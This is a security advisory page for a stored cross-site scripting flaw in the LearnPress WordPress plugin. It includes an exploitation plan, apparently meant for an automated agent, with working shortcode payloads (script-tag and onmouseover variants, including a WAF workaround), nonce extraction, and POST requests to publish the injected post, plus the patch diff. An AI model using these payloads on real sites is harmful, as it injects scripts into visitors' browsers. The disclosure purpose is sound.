CVE-2026-12732

LearnPress <= 4.4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class_wrapper_form' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.4.1
Patched in
1d
Time to patch

Description

The LearnPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_wrapper_form' shortcode attribute in versions up to, and including, 4.4.0. This is due to insufficient input sanitization and output escaping in the FilterCourseTemplate::sections() method at line 98, where the attacker-controlled attribute is inserted into an HTML class attribute via sprintf('<form class="%s">', $class_wrapper_form) without esc_attr() escaping. The FilterCourseShortcode::render() handler does not apply shortcode_atts() filtering, so raw user attributes flow directly through do_action('learn-press/filter-courses/layout', $data) into the template. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.4.0
PublishedJune 30, 2026
Last updatedJuly 1, 2026
Affected pluginlearnpress

What Changed in the Fix

Changes introduced in v4.4.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12732 (LearnPress Stored XSS) ## 1. Vulnerability Summary The **LearnPress** plugin (versions <= 4.4.0) contains a stored cross-site scripting (XSS) vulnerability due to improper output escaping of shortcode attributes. Specifically, the `class_wrapper_form` a…

Show full research plan

Exploitation Research Plan: CVE-2026-12732 (LearnPress Stored XSS)

1. Vulnerability Summary

The LearnPress plugin (versions <= 4.4.0) contains a stored cross-site scripting (XSS) vulnerability due to improper output escaping of shortcode attributes. Specifically, the class_wrapper_form attribute provided in a LearnPress shortcode is passed into a sprintf statement in the FilterCourseTemplate::sections() method and rendered within a <form> tag's class attribute without being wrapped in esc_attr(). This allows an authenticated user with at least Contributor permissions to inject malicious HTML attributes or script tags into a page.

2. Attack Vector Analysis

  • Vulnerable Shortcode: [learn_press_filter_courses] (inferred from FilterCourseShortcode).
  • Vulnerable Parameter: class_wrapper_form.
  • Authentication Level: Authenticated (Contributor or higher). Contributors can create posts and insert shortcodes but cannot normally use unfiltered HTML.
  • Preconditions: The plugin must be active. A contributor-level account is required to save the malicious shortcode into a post or page.

3. Code Flow

  1. Entry Point: An attacker creates or edits a post as a Contributor and inserts the shortcode:
    [learn_press_filter_courses class_wrapper_form='"><script>alert(document.domain)</script>'].
  2. Shortcode Handling: The FilterCourseShortcode::render() method is invoked when the post is viewed. According to the vulnerability details, this method fails to use shortcode_atts() to sanitize or restrict the attributes, allowing the raw user-supplied class_wrapper_form value to persist.
  3. Data Transmission: The attributes are passed into the learn-press/filter-courses/layout action via do_action('learn-press/filter-courses/layout', $data).
  4. Vulnerable Sink: The FilterCourseTemplate::sections() method (at line 98) receives this data. It executes the following logic:
    // Located in FilterCourseTemplate::sections() - Line 98
    sprintf('<form class="%s">', $class_wrapper_form) 
    
  5. Output: Because $class_wrapper_form is not escaped with esc_attr(), the resulting HTML becomes:
    <form class=""><script>alert(document.domain)</script>">
    

4. Nonce Acquisition Strategy

Since the exploit involves creating/editing a WordPress post as an authenticated user, the agent must handle standard WordPress form nonces.

  1. Authentication: Log in to wp-login.php using the Contributor credentials.
  2. Navigation: Use the browser_navigate tool to go to wp-admin/post-new.php.
  3. Extraction: Use browser_eval to extract the required nonces for post creation.
    • Post Nonce: Found in the #_wpnonce input field or via window.wp.apiFetch configurations.
    • Specific JS variables: LearnPress may localize scripts. Check for window.lpGlobalSettings or similar if interacting with LearnPress-specific editors, though standard post saving is usually sufficient.
  4. Action String: The standard WordPress post creation action is editpost or handled via the REST API (wp/v2/posts).

5. Exploitation Strategy

The goal is to save a post containing the malicious shortcode and then trigger the XSS by viewing it.

Step 1: Create the Malicious Post

Use http_request to simulate the post submission.

  • Method: POST
  • URL: http://[target]/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: editpost
    • post_ID: [ID_FROM_POST_NEW]
    • _wpnonce: [EXTRACTED_NONCE]
    • post_title: XSS Test
    • content: [learn_press_filter_courses class_wrapper_form='"><script>alert("CVE-2026-12732")</script>']
    • publish: Publish

Step 2: Trigger the XSS

Navigate to the URL of the newly created post (e.g., http://[target]/?p=[ID]).

Step 3: Verify Execution

The agent should look for the alert("CVE-2026-12732") execution in the browser context or check the HTML source for the unescaped <script> tag within the <form> tag.

6. Test Data Setup

  1. Plugin Installation: Ensure LearnPress <= 4.4.0 is installed and active.
  2. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Initialize Post: The agent should first navigate to wp-admin/post-new.php to generate a valid post_ID and nonce before attempting the POST request.

7. Expected Results

  • The http_request to post.php should return a 302 redirect to the post edit page with message=6 (indicating post published).
  • When navigating to the frontend post URL, the HTML source should contain:
    form class=""><script>alert("CVE-2026-12732")</script>">
  • The browser should trigger an alert dialog.

8. Verification Steps (Post-Exploit)

  • Database Check: Use WP-CLI to verify the content was stored correctly:
    wp post list --post_type=post --format=csv | grep "XSS Test"
    
  • Frontend Check: Use the http_request tool to fetch the post content and regex match the payload:
    # Expected match pattern
    <form class="[^"]*"><script>alert\(["']CVE-2026-12732["']\)</script>
    

9. Alternative Approaches

  • Attribute-Based XSS: If <script> tags are filtered by a secondary security layer (like a WAF), use event handlers:
    class_wrapper_form='x" onmouseover="alert(1)" style="display:block;width:100%;height:100px;background:red;" dummy="'
    This will trigger the XSS when any user moves their mouse over the form area.
  • REST API: If the post.php submission is complex, attempt to create the post via the WordPress REST API:
    • Endpoint: POST /wp-json/wp/v2/posts
    • Auth: Requires a REST Nonce (window.wpApiSettings.nonce).
    • Payload: {"title": "XSS", "content": "[shortcode...]", "status": "publish"}
Research Findings
Static analysis — not yet PoC-verified

Summary

The LearnPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_wrapper_form' shortcode attribute in versions up to 4.4.0. This occurs because the plugin fails to sanitize or escape user-supplied attributes before outputting them into the class attribute of a form in the FilterCourseTemplate::sections() method.

Vulnerable Code

// inc/templates/class-lp-filter-course-template.php
// Line 98 in FilterCourseTemplate::sections()
sprintf('<form class="%s">', $class_wrapper_form)

Security Fix

--- inc/templates/class-lp-filter-course-template.php
+++ inc/templates/class-lp-filter-course-template.php
@@ -98,1 +98,1 @@
-sprintf('<form class="%s">', $class_wrapper_form)
+sprintf('<form class="%s">', esc_attr($class_wrapper_form))

Exploit Outline

An authenticated attacker with Contributor-level permissions or higher can exploit this vulnerability by creating a post and embedding the [learn_press_filter_courses] shortcode. By setting the 'class_wrapper_form' attribute to a payload that breaks out of the HTML class attribute (e.g., class_wrapper_form='"><script>alert(document.domain)</script>'), the script is stored in the post. When any user views the post, the FilterCourseShortcode::render() method processes the shortcode without sanitization, passing the raw attribute to the template which prints it directly into the page, executing the script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.